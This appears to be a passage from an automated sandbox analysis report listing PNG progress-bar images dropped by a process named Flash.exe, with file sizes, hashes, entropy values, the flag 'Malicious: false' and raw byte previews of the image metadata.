end="r"?>.n.g...$IDATx...Oj.@...d44..J{..{T.$.....{t!.B...z..AQ.{a".Z..\|......'.QL...9..Y...F..)_]....................... .Q.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\progressbar-active0.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 360 x 5, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1133
Entropy (8bit):	6.490204195115025
Encrypted:	false
SSDEEP:	24:mG1hmYaWwjx82lY2T3XV20cMajc/yJ3VBcGhcIGzgFh6KSKIy1:XMYLNn2DI0cM8cqJ3vcucIw1KPj
MD5:	7C365A141B92FDA0D5A29E04918A9A12
SHA1:	C9C9465F7844960623165C4A572AAD13E48FF459
SHA-256:	11C39E1ACC5A72301DCC54A0210E8C70C82B557A8FC31757D025E876B828D985
SHA-512:	A6C60373EC9B545FAA6BA12D7FC5B83D356C8F4A93BBD1DC7A6329A0D7C5061BABF7341EC89D5A681632795F927A75A2E948FCA5B9341492C1BADB93FE901710
Malicious:	false
Preview:	.PNG........IHDR...h.........h.v.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:012B4C60FCA111EA9BC6FE3272D92A37" xmpMM:DocumentID="xmp.did:012B4C61FCA111EA9BC6FE3272D92A37"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:012B4C5EFCA111EA9BC6FE3272D92A37" stRef:documentID="xmp.did:012B4C5FFCA111EA9BC6FE3272D92A37"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..B....IDATx....0.E..b...@44...........b&R\|.@e..gE....wa_......K7...im.I..,6....N.s....U.D2..\|p.!.+.1J.....f.O..

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\progressbar-active1.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 720 x 10, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1247
Entropy (8bit):	6.633992561436439
Encrypted:	false
SSDEEP:	24:3Z1hmYaWwjx82lY2T3XVCv7wryJ3VwKCcG+p+ESTrwW52OD8p7:3MYLNn2DAMmJ3SVcBp+LcWfD8R
MD5:	C5DE4D90B5FC63B0EFF243A886B66791
SHA1:	5375ED7A49F5E511B7C5AA1303725A2072492A09
SHA-256:	D45F328C8083EC80D926CAEAAE64F6D89F3704F2BB8F75BE5BE1180CA7FAC407
SHA-512:	D81B0E8C316A7D946556834162834DDC9426E475D8DC779471CE370C5AA31003EEAE5047296B84C67BF1AC30ABFDF2CCF187D05BFCD3352F8B12A4D8A3BCB5B5
Malicious:	false
Preview:	.PNG........IHDR..............mi.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:ED4A809D0DE411EB8D6ED4E6EAA9DEF8" xmpMM:DocumentID="xmp.did:ED4A809E0DE411EB8D6ED4E6EAA9DEF8"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:ED4A809B0DE411EB8D6ED4E6EAA9DEF8" stRef:documentID="xmp.did:ED4A809C0DE411EB8D6ED4E6EAA9DEF8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..F....OIDATx...=R.@...,c.-......`...r....v.8RQ..Nl.3K6I............_vM.:.2.E.y./....P.[\|R.r...8.{....s.Pk.=.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\progressbar-bg0.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 360 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	944
Entropy (8bit):	5.855866353086061
Encrypted:	false
SSDEEP:	24:t1hmYaWwjx82lY2T3XVNAqyKyJ3VNjqeGID:TMYLNn2DLPyxJ3Lme5
MD5:	9079858806D8F17B69BAF9E151C7911F
SHA1:	FAAD4CB895ECA3C4CB306F241A25FE75B3BEF1E9
SHA-256:	017944C2CF46852D5DB52A5AFA385BE6FD603D82D8DB9C24CB9DC502DC9DA0F5
SHA-512:	A5D3C8397BE3E06372ECCEF07CA9221AF0EEABE759CEC3DD900F89CEE0F7D1D6E3410DC66A060D90781E4501EBA731587D4C9AD9C410F41D25A4AA8248630690
Malicious:	false
Preview:	.PNG........IHDR...h..........i4.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:0183DE22FCA111EAB6598202070EDFC5" xmpMM:DocumentID="xmp.did:0183DE23FCA111EAB6598202070EDFC5"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0183DE20FCA111EAB6598202070EDFC5" stRef:documentID="xmp.did:0183DE21FCA111EAB6598202070EDFC5"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?> .9... IDATx.b\|...C...9.Q0.F.(....<..0..2..J..H....IEND.B`.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\progressbar-bg1.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 720 x 2, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	957
Entropy (8bit):	5.860057392895641
Encrypted:	false
SSDEEP:	24:eE1hmYaWwjx82lY2T3XV6oaLeDyJ3VMLmQEG3Mbt:TMYLNn2Ds2+J3aLxEtt
MD5:	18438913552570E9EE8C59B350BB9EC2
SHA1:	EDC4BA4C436CF37AF6B063A16251B3C0C2632548
SHA-256:	34826CABC8232EDCA6CF24B2E613C904FF682CBD29055DE98305EBCED38A6D2F
SHA-512:	E58FC85C84C542A4F69C5842CCA8921710F38EF2B4C678D72E2B96E83E6E2853A26D029ACF6DA449CF0096581EB2217AEC6CF95F5C26F01B07588C745A159E62
Malicious:	false
Preview:	.PNG........IHDR.............q>.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:ED9D96CE0DE411EBA01ECECD2DF02C7C" xmpMM:DocumentID="xmp.did:ED9D96CF0DE411EBA01ECECD2DF02C7C"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:ED9D96CC0DE411EBA01ECECD2DF02C7C" stRef:documentID="xmp.did:ED9D96CD0DE411EBA01ECECD2DF02C7C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..S....-IDATx..... ....@.\|.(...`C.h....../g:....W...#...-.......IEND.B`.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\progressbar_active.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 550 x 22, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	322
Entropy (8bit):	6.491676633218877
Encrypted:	false
SSDEEP:	6:6v/lhPqhmKZoktq8YQtTe2/RBPNk81TR3ELzCbT6eIWI8sOVNlN5Sup:6v/7oZjt5tTeAjF9pHKIVv3T
MD5:	8D4CA8F61744A1374766B59785556A9F
SHA1:	1E7644F37DE204EF33EAAB588ECDE30999BEF682
SHA-256:	E54BBD52B968FDC6D3C26672AB47A74960C50D211271255D737DBF413A987862
SHA-512:	66EC38070D74E30B7A622C9E10DF9E2353B6B74E7341ABE9DE9C3234BCFA7FA030335A501439DB1A395F8BE72D4E7068406C9EDBBAE022A2DAF7FDF765F86FAD
Malicious:	false
Preview:	.PNG........IHDR...&..........+W.....pHYs..........+......IDATx...1JE1.......,....`ag.......&.9K..c......c..l`.U....$..Vo./cVe.U.......&1..`.0IFE....a.+LlL....$Y.1...%.:.Y.....oL....-Ycf...`.0Y.....$L.;&7a...............`.0q....&L...lL...T..........x......1....,..mL..f..Y.q....aR.a...d..@{....-...K4}....IEND.B`.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\progressbar_active_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 512 x 30, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1279
Entropy (8bit):	6.498754903126408
Encrypted:	false
SSDEEP:	24:T1hiyWwjx82lY2T37Vjmajcy5yJ3V5sjD2GR9DBABqMOmoveW4F/:ZuNn2vMIcNJ36CuhGqrmoY/
MD5:	D8BC91239515600503AE565AC47DCB8D
SHA1:	141FB71E461D4C197D149408D0D771DDE3E933E3
SHA-256:	06FD855383EF175525BA85D57DD404AD5BC5B9D8BA8BDE309BC3049E13712C3C
SHA-512:	23249C7C7BB749126FAF7B16F8611ED9220ED0CC4481C08BAC2B480FCEFEE4248965740C62CD1D9E9F991C1BE928E74DA7F4CFB7F52E9B4B73E2D6A058C0E785
Malicious:	false
Preview:	.PNG........IHDR.............Z;.8....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmpMM:InstanceID="xmp.iid:83649C3F600711E8A61CF1210C6664F7" xmpMM:DocumentID="xmp.did:83649C40600711E8A61CF1210C6664F7"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:83649C3D600711E8A61CF1210C6664F7" stRef:documentID="xmp.did:83649C3E600711E8A61CF1210C6664F7"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>{..'...oIDATx....M.0...V.7.B..1B3.[0.St..`...3....:a..s.v....>'.....R9......R.@...o.%.D........^_...@.........k.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\progressbar_active_125.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 665 x 27, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1198
Entropy (8bit):	6.551864351123435
Encrypted:	false
SSDEEP:	24:O1hiyWwjx82lY2T37VFWKUoyJ3VSbK16YG9Nr/wRV2ws:UuNn2vb0rJ3IY6Y4wews
MD5:	E56C831CDCA6EE76E2328AEAB39F94E9
SHA1:	2B7574CA3CB9E0D97A7353DC1AA2CB5E378092BB
SHA-256:	2824DCA6C6274D0D3F17316C3081D37783F91B80DA0B0F3F332B592257599848
SHA-512:	89426B2E59E4D95200440DEFEA48DCA46B6F38DA2A19C9B897F1BF9CAC80C23CA8DDA5C492167F5D7F189F38718264D682EF9BF7D493D1CF2B5DCA5ED0B965D5
Malicious:	false
Preview:	.PNG........IHDR..............*......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmpMM:InstanceID="xmp.iid:BCF4D92A2B1C11E89C24EF737AF8E2BD" xmpMM:DocumentID="xmp.did:BCF4D92B2B1C11E89C24EF737AF8E2BD"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:BCF4D9282B1C11E89C24EF737AF8E2BD" stRef:documentID="xmp.did:BCF4D9292B1C11E89C24EF737AF8E2BD"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>P.......IDATx...1N.A..@.&F...._.[.......c.G.T..'....<_?....X.{.......}\...0.6..H.C\|..,...,.Z]z9...9..k...."..w/...

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\progressbar_active_150.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 780 x 32, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1243
Entropy (8bit):	6.548894910148745
Encrypted:	false
SSDEEP:	24:LHRgZ1hiyWwjx82lY2T37VaoaK/yJ3VnKFsG7EYT2bCnF8IM/oYJlB:LHMuNn2vH+J34skkGF85/9JlB
MD5:	113EDFE55529EF8197238692760A59FD
SHA1:	FE9AD7F58009B1DEB878E4F511FF4EC716425347
SHA-256:	758C81EA8C2CCAFDE87F3CAF680B8DE4EE1D7B0B0FC970878007CFBFF5A63054
SHA-512:	AA18AB840EF099F7C904DFEFE2E7DB23A739BC60650A558D2C1145EFB776579E813CEF428519BECC4BBFA1915C7CE5792ECD66D7C096B73303BF0DD17C14EA0F
Malicious:	false
Preview:	.PNG........IHDR....... .....0.h.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmpMM:InstanceID="xmp.iid:BC5143C42B1C11E8AB5FA95C13887757" xmpMM:DocumentID="xmp.did:BC5143C52B1C11E8AB5FA95C13887757"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:BC5143C22B1C11E8AB5FA95C13887757" stRef:documentID="xmp.did:BC5143C32B1C11E8AB5FA95C13887757"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.......KIDATx...1N.@...E...!Q!.........Lv.d....W..............Y..._...X}....T.........Se......Ze.j...6=.-!......

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\progressbar_active_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 1024 x 60, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1666
Entropy (8bit):	6.279502182460846
Encrypted:	false
SSDEEP:	48:cuNn2vdwSnmKSnhJ3daSntgSnfSGL+/ThtRfZO563:72FznKn19n1nfSGL+NTwQ3
MD5:	605ABB3631FC6A08BAC3DD68DDD1E08F
SHA1:	30CBBED08409E32A46E7DA3D5EBACC9F6EB1E015
SHA-256:	182A83921EC08BCCEBA678BC22566684EF22CA6927AF572857F427C565D01CFA
SHA-512:	1987DD452187454195DF1F6DF04CD755064F5F261742A3623E859A7C087091B8BDB4827DFD538E091CAADCE0C44F1BDC2B27F30AC33CF3CF554D5799B7EE9B4D
Malicious:	false
Preview:	.PNG........IHDR.......<........F....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmpMM:InstanceID="xmp.iid:833FAE94600711E898A4914DFBB3017B" xmpMM:DocumentID="xmp.did:833FAE95600711E898A4914DFBB3017B"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:833FAE92600711E898A4914DFBB3017B" stRef:documentID="xmp.did:833FAE93600711E898A4914DFBB3017B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.K......IDATx...q.A...t6U........ .. .eA$..rP..9.`....=.Tug.7_.{n.......h......@......?^...........*...T.....K.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\progressbar_blue_active_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 469 x 21, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15306
Entropy (8bit):	1.8694156803319382
Encrypted:	false
SSDEEP:	48:l/6DeilYk29WJsEvkHYal+03r8L5o2k242NxN+Y97sc5ey7HbZdRaDN:lSyoYkEWmFmPDNxNX7sc51HfRaDN
MD5:	BB94A177F10BF764D11F94D24A5DB5AA
SHA1:	6864B58952B19248F4C5EA5C8764C52E207268A7
SHA-256:	CAAFEA31074BA909EC57C9DCDD1B1C0256E5626939CC768B8A041FE42762E230
SHA-512:	D2875EB5AD9FF76FF233ADA04FA77AECDBB0C9A80BCD85B0C50087786B47E97FEEC189D18164E15784CD96850849EE4E1920D7D98157CA7AD317BA03E8C66111
Malicious:	false
Preview:	.PNG........IHDR..............&t.....pHYs...............9.iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/". xmlns:tiff="http://ns.adobe.com/tiff/1.0/". xmlns:exif="http://ns.adobe.com/exif/1.0/">. <xmpMM:OriginalDocumentID>xmp.did:d310b992-d270-4e81-a192-9dd67f063430</xmpMM:OriginalDocumentID>. <xmpMM:DocumentID>xmp.did:9B19ACF050A311

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\progressbar_blue_active_125.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 586 x 26, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3364
Entropy (8bit):	7.87299365047781
Encrypted:	false
SSDEEP:	48:3/6DocieftI9G9f6A+FIDOWu0lDl+gm7QyTtctIInQSy6IVpqlnBcODRdX/eV0C/:3SDZ/I09Da01l+gmkyTt6Hk8nTr00o
MD5:	5E3F8861E897F1D865A1DCA095AFB15A
SHA1:	39FB6435750370FCF30AFDCEABC840947FCA17A3
SHA-256:	A2C424618DE66C97F91833FE2EDB4BB05E03561E60AC40405771D2DEBB8CCB41
SHA-512:	17F65092D4D98A88D858E1141859773FFD6978E513E0DB728C41AAE1C67436E702CE8D1EFCE04E99DDEEF40CD67E9241AF25856A6F02759C24C1F906AB4F31EC
Malicious:	false
Preview:	.PNG........IHDR...J.........H2sG....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\progressbar_blue_active_150.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 704 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3562
Entropy (8bit):	7.868968527311014
Encrypted:	false
SSDEEP:	96:RSDZ/I09Da01l+gmkyTt6Hk8nTOYxLGxcVzPIJ:RSDS0tKg9E05TOGLGxcVzPIJ
MD5:	A78E3DD64D86A9B46CCDFF105793DCE6
SHA1:	3FBFA289B12439C85F09E5419B064F151CEC768C
SHA-256:	151DBC44177A314FB720ED909EAD366760B69C69DAF676FEA52248AC7AD71D9A
SHA-512:	15B513572A9AB51FDAC9E6E068E10388499387E789909DFFAFD8AC0C7250DE8BE18D344CFA734C44D7941D01691261FACD0D1A95589E6A2750DE23C569F175EA
Malicious:	false
Preview:	.PNG........IHDR....... ........D....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\progressbar_blue_active_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 938 x 42, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15852
Entropy (8bit):	2.180251018498586
Encrypted:	false
SSDEEP:	48:Lnt/6DeilYk29WJsEvkHYSvl+03r8L6uo2mrxN+Y97sc5ZT7QHuJ21mVwL+zNxSG:ZSyoYkEWmFbxNX7sc55jJ2UVJS/1hm
MD5:	0F78C8C46DAD3F68D060B406AA0BBF1F
SHA1:	036AB74F8CE9D123260CEC6CFF908876CA370128
SHA-256:	C08F7720960B2E21B1F8F106D80BCB1AF7C11433E3B35D7AE2994254A2A2583C
SHA-512:	5639E0753C37D3D7755F7062792E6FEBB8DE2BF045A37D63CEAA01633D8AD235E3DA31B8F8624B49FDE92D5A10B007450EA7BDC10519A75B464073A77221218F
Malicious:	false
Preview:	.PNG........IHDR.......*......$.[....pHYs...............9.iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/". xmlns:tiff="http://ns.adobe.com/tiff/1.0/". xmlns:exif="http://ns.adobe.com/exif/1.0/">. <xmpMM:OriginalDocumentID>xmp.did:d310b992-d270-4e81-a192-9dd67f063430</xmpMM:OriginalDocumentID>. <xmpMM:DocumentID>xmp.did:9B19ACF450A311

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\progressbar_darkgray_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 512 x 30, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1043
Entropy (8bit):	5.974983601435272
Encrypted:	false
SSDEEP:	24:g1hiyWwjx82lY2T37VNSyJ3VGAGkF+GGGGGcH7:+uNn2vVJ3T3S
MD5:	090B6384D55875DD4830C99BD8F19241
SHA1:	67B0109364B279C97EB39B7C82081053BF56DAF4
SHA-256:	250241E40C3EE6E0F75EFEBEDBC33C9349452047E370339130A88775666072A6
SHA-512:	B934B2857B382BAE77A824DC257C7C1379B96DC4834ED2228482BE31E9FD1DAC6DAD32DE6798ACB0A28DA6A2988438B53F2FFC8251A731ABF71C9604F899E4BB
Malicious:	false
Preview:	.PNG........IHDR..............Y1o....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmpMM:InstanceID="xmp.iid:1FBD6149600611E89FDFC1DE3518AF90" xmpMM:DocumentID="xmp.did:1FBD614A600611E89FDFC1DE3518AF90"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1FBD6147600611E89FDFC1DE3518AF90" stRef:documentID="xmp.did:1FBD6148600611E89FDFC1DE3518AF90"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket 